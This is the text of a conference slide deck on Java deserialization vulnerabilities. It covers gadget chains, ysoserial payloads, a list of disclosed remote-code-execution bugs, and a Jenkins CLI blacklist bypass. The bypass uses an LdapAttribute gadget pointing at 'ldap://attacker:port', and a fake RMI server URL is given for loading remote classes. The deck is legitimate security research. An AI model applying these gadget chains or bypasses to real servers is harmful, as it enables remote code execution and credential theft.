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Java Deserialization Vulnerabilities
– The Forgotten Bug Class
Matthias Kaiser
(@matthias_kaiser)

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About me
 Head of Vulnerability Research at Code White in Ulm, Germany
 Dev for defense company in the past
 Spent a lot of time on (server-side) Java Security
 Found bugs in products of Oracle, VMware, IBM, SAP, Symantec, Apache, Adobe, HP, etc.
 Recently looking more into the Windows world and client-side stuff
@matthias_kaiser
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3.
Agenda
 Introduction
 Java’s Object Serialization
 What’s the problem with it
 A history of bugs
 Finding and exploiting
 Code White’s bug parade
 A hands-on example
 More to come?
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Should you care?
 If your client is running server products of
you SHOULD!
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Some facts
 The bug class exists for more than 10 years
 Most ignored bug class in the server-side Java world until 2015
 A easy way to get reliable RCE on a server
 Architecture independent exploitation
 With Java deserialization vulnerabilities you can pwn a corp easily!
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Where is it used
 Several J2EE/JEE core technologies rely on serialization
 Remote Method Invocation (RMI)
 Java Management Extension (JMX)
 Java Message Service (JMS)
 Java Server Faces implementations (ViewState)
 Communication between JVMs in general (because devs are lazy :-)
 Custom application protocols running on top of http, etc.
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What is serialization?
Object
File
Network
Database
ObjectStream of bytes Stream of bytes
Serialization Deserialization
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Overview of Java’s Object Serialization Protocol
Magic
class name
field type
class field
Class description info
TC_OBJECT
TC_CLASSDESC
classdata[]
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There is protocol spec and a grammar
https://docs.oracle.com/javase/8/docs/platform/serialization/spec/protocol.html
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Deserializing an object
What could possibly go wrong here?
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What’s the problem
 ObjectInputStream doesn’t include validation features in its API
 All serializable classes that the current classloader can locate and load can get deserialized
 Although a class cast exception might occur in the end, the object will be created!
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What’s the problem #2
 A developer can customize the (de)-serialization of a serializable class
 Implement methods writeObject(), writeReplace(), readObject() and readResolve()
 ObjectInputStream invokes readObject() and readResolve()
Under our control!
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What’s the problem #3
 Further methods can be triggered by using certain classes as a "trampoline"
 Object.toString() using e.g. javax.management.BadAttributeValueExpException
 Object.hashCode() using e.g. java.util.HashMap
 Comparator.compare() using e.g. java.util.PriorityQueue
 etc.
Trampoline
class
Target
class
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What’s the problem #3
javax.management.BadAttributeValueExpException
1. Reading the field "val"
2. Calling "toString()" on "val"
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History of Java deserialization vulnerabilities
JRE vulnerabilities
(DoS)
Mark Schönefeld
2006
JSF Viewstate
XSS/DoS
Sun Java Web Console
Luca Carretoni
2008
CVE-2011-2894
Spring Framework RCE
Wouter Coekaerts
CVE-2012-4858
IBM Cognos Business
Intelligence RCE
Pierre Ernst
2011 2012
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History of Java deserialization vulnerabilities
CVE-2013-1768 Apache OpenJPA RCE
CVE-2013-1777 Apache Geronimo 3 RCE
CVE-2013-2186 Apache commons-fileupload RCE
Pierre Ernst
CVE-2015-3253 Groovy RCE
CVE-2015-7501 Commons-Collection RCE
Gabriel Lawrence and Chris Frohoff
CVE-2013-2165 JBoss RichFaces RCE
Takeshi Terada
2013 2015
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#JavaDeser is new hotness …
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Finding is trivial
 Do the "grep" thing on "readObject()"
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Finding is trivial
 Use an IDE like Intellij or Eclipse and trace the call paths to ObjectInputStream.readObject()
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Exploitation
 Exploitation requires a chain of serialized objects triggering interesting functionality e.g.
 writing files
 dynamic method calls using Java’s Reflection API
 etc.
 For such a chain the term "gadget" got established
 Chris Frohoff and others found several gadgets in standard libs
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Javassist/Weld Gadget
 Gadget utilizes JBoss’ Javassist and Weld framework
 Reported to Oracle with the Weblogic T3 vulnerability
 Works in Oracle Weblogic and JBoss EAP
 Allows us to call a method on a deserialized object
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"Return of the Rhino"-Gadget
 Gadget utilizes Rhino Script Engine of Mozilla
 Works with latest Rhino in the classpath
 Oracle applied some hardening to its Rhino version
 So only works Oracle JRE <= jre7u13 
 Works with latest openjdk7-JRE (e.g. on Debian, Ubuntu) 
 Allows us to call a method on a deserialized object
 JRE Gadget 
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What to look for?
 Look for methods in serializable classes
 working on files
 triggering reflection (invoking methods, getting/setting properties on beans)
 doing native calls
 etc.
AND being called from
 readObject()
 readResolve()
 toString()
 hashCode()
 finalize()
 any other method being called from a "Trampoline" class
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What to look for?
 Look at serializable classes used in Java reflection proxies
 java.lang.reflect.InvocationHandler implementations
 javassist.util.proxy.MethodHandler implementations
InvocationHandlerInterface
Proxy
toString() invoke (…) // do smth
invoke (target, toString, args)
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What to look for?
Prints out method being called
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What to look for?
What if InvocationHandler.invoke()
does "insecure stuff" using values from
the serialized object input stream?
Proxy
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Making gadget search easier
 Chris Frohoff released a tool for finding gadgets using a graph database
 Using object graph queries for gadget search
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Exploitation tricks
 Adam Gowdiak’s TemplatesImpl
 com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl is serializable
 Allows to define new classes from your byte[ ][ ]
 Calling TemplatesImpl.newTransformer() on deserialized object  Code Execution
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Exploitation tricks
 InitialContext.lookup()
 @benmmurphy used it for a sandbox escape (CVE-2013-5830)
 @zerothoughts published a gadget in Spring’s JtaTransactionManager recently
 Triggers InitialContext.lookup(jndiName)
 Uses "rmi://yourFakeRmiServer/Object" as jndiName
 Loads classes from your fake RMI server
 Calling JdbcRowSetImpl.execute() on a deserialized object will do the same 
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Payload generation
 Chris Frohoff released the great tool "ysoserial"
 Makes creation of payloads easy
 Includes gadgets for
 Commons Collection 3 & 4
 Spring
 Groovy
 JRE7 (<= jre7u21)
 Commons BeanUtils
 and even more!
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Custom payloads
 I wouldn’t go for Runtime.getRuntime().exec(cmd) for several reasons
 Most of the gadgets don’t touch the disk 
 With scripting languages your life gets even easier
 Use what’s in the classpath
 Javascript (Rhino, Nashorn)
 Groovy
 Beanshell
 etc.
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Code White’s Bug Parade #1
 CVE-2015-6554 - Symantec Endpoint Protection Manager RCE
 CVE-2015-6576 - Atlassian Bamboo RCE
 CVE-2015-7253 - Commvault Edge Server RCE
 CVE-2015-7253 - Apache ActiveMQ RCE
 CVE-2015-4582 - Oracle Weblogic RCE
 CVE-2016-1998 - HP Service Manager RCE
 CVE-2016-2173 - Spring AMQP RCE
 CVE-2016-3493 - Oracle Hyperion RCE
 CVE-2016-3551 - Oracle Weblogic RCE
 CVE-2016-3551 - Oracle Weblogic RCE
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Code White’s Bug Parade #2
 NOT-FIXED - IBM WebSphere MQ JMS client RCE
 NOT-FIXED - IBM WebSphere JMS Client RCE
 NOT-FIXED - Pivotal RabbitMQ JMS client RCE
 NOT-FIXED - Oracle OpenMQ JMS client RCE
 CVE-2016-4978 - Apache ActiveMQ Artemis JMS client RCE
 CVE-2016-4974 - Apache Qpid client/JMS client RCE
 CVE-2016-0638 - Oracle Weblogic JMS client RCE
 FIXED-NO-CVE - IIT Software SwiftMQ JMS client RCE
 MAYBE-FIX - Amazon SQS Java Messaging RCE
 WONT-FIX - JBOSS HornetQ JMS client RCE
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A hands-on example
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Jenkins
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Jenkins
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Jenkins
 Open Source Automation Server / Continous Integration Server / "Build"-Server
 Created by Kohsuke Kawaguchi (Ex-Oracle, now CTO of CloudBees)
 Fork of Oracle’s Hudson CI server
 Supports Subversion, Git, Mecurial, etc.
 Runs Maven, Ant, etc.
 More than 1200 plugins! (see https://updates.jenkins-ci.org/download/plugins/)
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Jenkins
 Nice target because Jenkins
 has access to Source Code repositories
 creates deployment artefacts (Jar, War, Ear, etc.)
 can deploy artefacts on target servers
 stores credentials (user/password, SSH keys)
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Jenkins Internals
 Jenkins uses an extra port for the Command Line Interface (CLI)
 Can be configured to a fixed or random port
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Jenkins Internals
 Jenkins uses an own RMI protocol for it’s Command Line Interface (CLI)
 Base64-encoded serialized objects (rO0 0xac,0xed)
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Jenkins under Attack
 Jenkins CLI endpoint suffered from several vulnerabilities
 CVE-2015-8103 of Steven Breen using Commons Collections gadget
 Jenkins introduced a blacklist to filter gadget classes
 CVE-2016-0788 of Moritz Bechler bypassing the blacklist (see ERNW blog post
https://insinuator.net/2016/07/jenkins-remoting-rce-ii-the-return-of-the-ysoserial/)
 As we all know blacklisting is hard because you never know …
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Jenkins’ Blacklist
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Finding a blacklist filter bypass
 How to bypass a gadget blacklist filter?
a) Find a new gadget
b) Find a bypass gadget (see Alvaro’s and Christian’s Research)
c) Look for partially fixed gadget
 After looking at all gadgets of ysoserial and matching them with Jenkin’s third-party libs and
the blacklist I found one interesting gadget discovered by Moritz Bechler:
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The JSON1 gadget
 "Code execution step"
 filtered by blacklist 
 "Trigger step"
 invokes all "getter" methods on
a serialized object
 Not filtered by blacklist 
 "Init step"
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Finding a blacklist filter bypass #1
 Initial idea was to use the JDBCRowSetImpl trick as code execution step
 "Getter"-methods trigger JNDI call:
 But net.sf.json.JSONObject.containsValue(JDBCRowSetImpl-instance) fails because several
"Getter"-methods trigger Exceptions 
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Finding a blacklist filter bypass #2
 Next idea was to look for other serializable classes with "Getter"-Methods leading to code
execution
 Recent research FTW:
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Finding a blacklist filter bypass #2
 JNDI lookups can lead to RCE (see JDBCRowSetImpl)
 Exploitation using RMI, LDAP and CORBA
 LDAP queries can lead to RCE
 LDAP server needs to be under your control
 data from LDAPresponse is deserialized using ObjectInputStream
 data (URLs) from LDAP response is used to load classes using URLClassLoader -> RCE
 I found some nice classes in package „com.sun.jndi.ldap"
 One of it is the serializable class "com.sun.jndi.ldap.LdapAttribute"
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com.sun.jndi.ldap.LdapAttribute
baseCtxURL=ldap://attacker:port
rdn="dc=whatever"
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Putting all together for the new JSON2 gadget
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 With LdapAttribute.getAttributeDefinition() we get Code Execution using a custom LDAP server
 The "Init-Step" shown before doesn’t work, so we need something else 
 By using Eclipse an alternative code path can be easily found 

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Some "updates" with regards to exploitation …
 Previous research only mentioned the CLI port!
 If you have Jenkins running on the internet with firewall / reverse proxy, you can’t connect
 But the Jenkins Wiki has some hidden gems for us:
Connection mechanism
1. Jenkins CLI clients and Jenkins server establishes the communication in the following fashion.
Jenkins listens on a TCP/IP port configured under "TCP port for JNLP agents" in the system
configuration page. This single port is used for both agents and CLI.
…
5. If that fails (for example, if there's a reverse proxy and Jenkins runs on a different host, or if a
firewall blocks access to this TCP/IP port), or if the header is not found, it will fall back to the
communication mechanism that uses two simultaenous HTTP connections.
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Jenkins CLI HTTP "fallback"
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 HTTP Connection #1
 Server  Client channel
 Client reads from InputStream
 UUID as identifier
 Blocks until #2 connects
 HTTP Connection #2
 Client  Server channel
 Client writes to OutputStream
 UUID as identifier

52.
Jenkins - 2.19.2 LTS
DEMO
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Jenkins - 2.19.2 LTS
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Jenkins - 2.19.2 LTS
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Conclusion
 Java Deserialization is no rocket science
 Finding bugs is trivial, exploitation takes more
 So many products affected by it
 Research has started, again …
 This will never end!
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Q&A
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57.
Java Deserialization Vulnerabilities
– The forgotten bug class
Matthias Kaiser